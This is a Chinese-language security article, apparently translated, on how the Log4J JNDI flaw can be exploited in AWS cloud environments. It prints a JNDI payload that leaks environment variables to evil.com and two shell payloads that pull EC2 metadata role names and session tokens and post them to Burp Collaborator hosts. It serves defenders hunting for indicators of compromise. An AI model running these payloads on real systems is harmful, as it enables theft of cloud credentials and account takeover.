写在前面的话-Log4J对云环境意味着什么？
就在不久之前，Log4J Java库被爆出了一个关键安全漏洞，该漏洞一经曝光，很多安全专家和技术人员都不得不加班加点去解决这个安全漏洞所带来的影响。Log4J JNDI漏洞与其说是单个漏洞，不如说是一个通过远程代码执行发起攻击的平台。
到目前为止，根据我们收集到的信息来看，各大厂商的安全事件响应人员、安全分析人员和技术工程师们主要都在通过以下快速响应步骤进行漏洞的缓解工作：
1、识别受影响的系统并推出发布程序；
2、迅速修复凭证安全问题；
3、寻找入侵威胁指标IoC；
那么在这篇文章中，我们将主要针对时间响应过程中的第三步步骤，即寻找入侵威胁指标IoC来进行介绍，并跟大家讨论Log4J库的潜在受攻击风险，尤其是在公共云环境中部署时可能会遇到的安全风险。
网络攻击者是如何利用Log4J漏洞的？
Log4J从根本上说是一个注入漏洞，并且可以有两种途径来利用该漏洞对目标系统执行攻击：
1、通过外部Java类文件实现远程代码执行
首先，Log4J日志记录框架中存在注入漏洞，因此有可能引发目标服务器向远程服务器发出HTTP请求，而此时的目标服务器则会希望从远程服务器获得返回的Java类文件。
其次，当攻击者能够控制远程外部服务器时，他们就能够控制响应中返回给目标服务器的内容。在这种场景下，攻击者就可以将任意代码嵌入在Java类文件中，然后返回给目标服务器，并在目标服务器上得到执行。
2、通过DNS查询实现数据提取
由于Log4J中存在注入漏洞，将导致目标服务器可以向外部服务器进行出站查询。当攻击者能够控制外部服务器的主机名时，就会造成环境变量值发生泄漏。
样例如下：
${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}下图显示的是攻击者发动Log4J JNDI攻击的大致流程图：
Log4J漏洞对云环境部署有何独特影响？
根据研究人员的分析发现，如果目标系统上部署有一个易受攻击（即存在漏洞）的Log4J库时，攻击者就能够通过DNS查询机制并利用数据提取技术来检索目标系统上的任何环境变量值。比如说，在很多攻击活动中，我们就发现攻击者会利用这种技术从AWS环境中提取特定的AWS配置变量和相关数据。
但是，在环境变量中设置敏感信息很明显是一种糟糕的做法，这种场景也不太可能发生在AWS最大的攻击面-EC2实例上。
AWS特定的环境变量可能会设置在终端节点上，也就是终端用户配置awscli的工作站上，或者也有可能在运行时预先配置变量“AWS_ACCESS_KEY_ID”、“AWS_SECRET_ACCESS_KEY”和“AWS_SESSION_TOKEN”的lambda函数中。
因此，AWS特定的环境变量就不太可能在EC2实例中找到了。相反，在AWS EC2实例上运行的应用程序将使用分配给EC2实例的EC2实例配置文件的临时凭证数据。这些临时凭证数据由称为实例元数据服务（IMDS）的内部HTTP节点颁发。因此，我们可以使用Log4J漏洞从EC2实例中提取这些凭证数据。
使用远程代码执行提取实例元数据凭证
通过利用Log4J漏洞，网络攻击者可以尝试从C2实例中提取临时会话凭证，并对目标AWS资源采取进一步的攻击行动。在下面的例子中，我们将演示Payload可能的攻击路径：
第一步：注入JNDI Payload，让目标EC2查询内部实例元数据API，并获取EC2运行时使用的IAM角色，然后将角色名称保存到文件中并返回给攻击者控制的节点。
第一个发送给运行IMDSv1的EC2实例的Payload：
/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'第二步：拿到角色名称之后，注入另一个JNDI Payload，并控制目标EC2查询内部元数据API以获取一个临时会话令牌，将令牌保存为文件之后，将文件的内容返回给攻击者控制的节点。
第二个发送给运行IMDSv1的EC2实例的Payload：
/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'第三步：向目标EC2发送最后一个Payload，并控制其删除之前两步注入操作中创建的临时文件。
提取的会话令牌的默认TTL为1小时。攻击者可以利用这段时间对AWS资源采取行动，就好像它们是EC2实例一样，甚至可能执行持久性技术，如创建新用户或角色，具体的影响完全取决于分配给EC2实例的权限。
另一种通过Log4J提取IMDS证书的方法
从EC2实例上的实例元数据服务中提取凭据的潜在方法多种多样，攻击者可以利用各种Payload并通过使用HTTP查询内部服务以检索凭据。Payload可以通过如上所述的两个步骤来传递，或者浓缩成一个步骤。可以传递一个Payload，让这个Payload存储实例元数据服务对环境变量的响应，其中环境变量的值是通过辅助JNDI注入提取的。在所有可能的变体中，唯一一致的一个步骤是必须向EC2实例上运行的实例元数据服务发出HTTP请求。
总结
攻击EC2实例元数据API并不新颖，云安全研究人员也一直在描述和介绍针对这种服务的滥用行为。这不是一个“新错误”，而是Log4J漏洞对云计算影响的新表述。虽然这篇文章专门针对针对AWS环境的威胁，但所有相同的原则在任何GCP或Azure环境中都适用。
参考链接
https://www.vectra.ai/blog/log4j-unique-impact-in-the-cloud
本文作者：Alpha_h4ck， 转载请注明来自FreeBuf.COM
文章来源网络，作者：运维，如若转载，请注明出处：https://shuyeidc.com/wp/123455.html<
